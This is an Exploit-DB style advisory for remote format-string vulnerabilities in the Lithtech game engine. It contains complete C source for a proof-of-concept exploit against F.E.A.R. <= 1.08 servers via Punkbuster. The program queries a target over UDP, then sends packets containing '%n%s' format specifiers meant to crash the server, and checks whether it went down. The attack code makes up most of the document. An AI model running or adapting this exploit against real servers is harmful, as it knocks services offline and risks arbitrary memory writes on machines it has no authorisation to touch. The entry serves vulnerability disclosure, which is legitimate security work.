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vendor:
Lithtech game engine
by:
Luigi Auriemma
7.5
CVSS
HIGH
Format String
134
CWE
Product Name: Lithtech game engine
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows, Linux

Lithtech Game Engine Multiple Format String Vulnerabilities

Lithtech game engine is prone to multiple remote format-string vulnerabilities because of incorrect usage of 'printf()'-type functions. Format specifiers can be supplied directly to vulnerable functions from external data. A denial-of-service condition arises when a vulnerable server handles a malformed request. Exploiting these issues may also allow an attacker to write to arbitrary process memory and potentially execute code. Any code executed through this vulnerability could potentially run with the privileges of the server.

Mitigation:

Update to a version that has patched these vulnerabilities. Avoid handling malformed requests.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/11610/info

Lithtech game engine is prone to multiple remote format-string vulnerabilities because of incorrect usage of 'printf()'-type functions. Format specifiers can be supplied directly to vulnerable functions from external data. 

A denial-of-service condition arises when a vulnerable server handles a malformed request. 

Exploiting these issues may also allow an attacker to write to arbitrary process memory and potentially execute code. Any code executed through this vulnerability could potentially run with the privileges of the server.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1"
#define PORT        27888
#define GS2_QUERY   "\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00" 
"\x00"
#define FSTRING     "%n%s%n%s%n%s%n%s%n%s%n%s"
#define FEARFSPB1   "\xff\xff\xff\xff" "PB_Y" FSTRING
#define FEARFSPB2   "\xff\xff\xff\xff" "PB_U" "\xff\xff\xff\xff" \
                    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \
                    "127.0.0.1:1234;" FSTRING ";"




int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, 
int rear, ...);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct 
sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            noquery = 0;
    u16     port    = PORT;
    u8      buff[8192];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "F.E.A.R. <= 1.08 format string exploitation through Punkbuster 
"VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    printf("- query server:\n");
    len = send_recv(sd, GS2_QUERY, sizeof(GS2_QUERY) - 1, buff, 
sizeof(buff), &peer, 0);
    if(len < 0) {
        printf("- no reply received, I try to continue\n");
        noquery = 1;
    } else {
        gs_handle_info(buff, len, 0, '\0',  5, 0, NULL);
    }

    sleep(ONESEC);
    printf("- send malformed packets\n");
    len = send_recv(sd, FEARFSPB1, sizeof(FEARFSPB1) - 1, NULL, 0, 
&peer, 1);
    len = send_recv(sd, FEARFSPB2, sizeof(FEARFSPB2) - 1, NULL, 0, 
&peer, 1);

    if(noquery) {
        printf("- the server should have been crashed, check it 
manually\n");
    } else {
        printf("- wait some seconds\n");
        sleep(ONESEC * 3);

        printf("- check server:\n");
        len = send_recv(sd, GS2_QUERY, sizeof(GS2_QUERY) - 1, buff, 
sizeof(buff), &peer, 0);
        if(len < 0) {
            printf("\n  Server IS vulnerable!!!\n");
        } else {
            printf("\n  Server doesn't seem vulnerable\n");
        }
    }

    close(sd);
    return(0);
}



int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, 
int rear, ...) {
    va_list ap;
    int     i,
            args,
            found;
    u8      **parz,
            ***valz,
            *p,
            *limit,
            *par,
            *val;

    va_start(ap, rear);
    for(i = 0; ; i++) {
        if(!va_arg(ap, u8 *))  break;
        if(!va_arg(ap, u8 **)) break;
    }
    va_end(ap);

    args = i;
    parz = malloc(args * sizeof(u8 *));
    valz = malloc(args * sizeof(u8 **));

    va_start(ap, rear);
    for(i = 0; i < args; i++) {
        parz[i]  = va_arg(ap, u8 *);
        valz[i]  = va_arg(ap, u8 **);
        *valz[i] = NULL;
    }
    va_end(ap);

    found  = 0;
    limit  = data + datalen - rear;
    *limit = 0;
    data   += front;
    par    = NULL;
    val    = NULL;

    for(p = data; (data < limit) && p; data = p + 1, nt++) {
        p = strchr(data, chr);
        if(p) *p = 0;

        if(nt & 1) {
            if(!par) continue;
            val = data;
            printf("  %30s %s\n", par, val);

            for(i = 0; i < args; i++) {
                if(!stricmp(par, parz[i])) *valz[i] = val;
            }
        } else {
            par = data;
        }
    }

    free(parz);
    free(valz);
    return(found);
}



int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct 
sockaddr_in *peer, int err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, 
sizeof(struct sockaddr_in))
          < 0) std_err();
        return(0);
    }
    if(in) {
        for(retry = 2; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, 
sizeof(struct sockaddr_in))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            printf("\nError: socket timeout, no reply received\n\n");
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}



int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}



u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif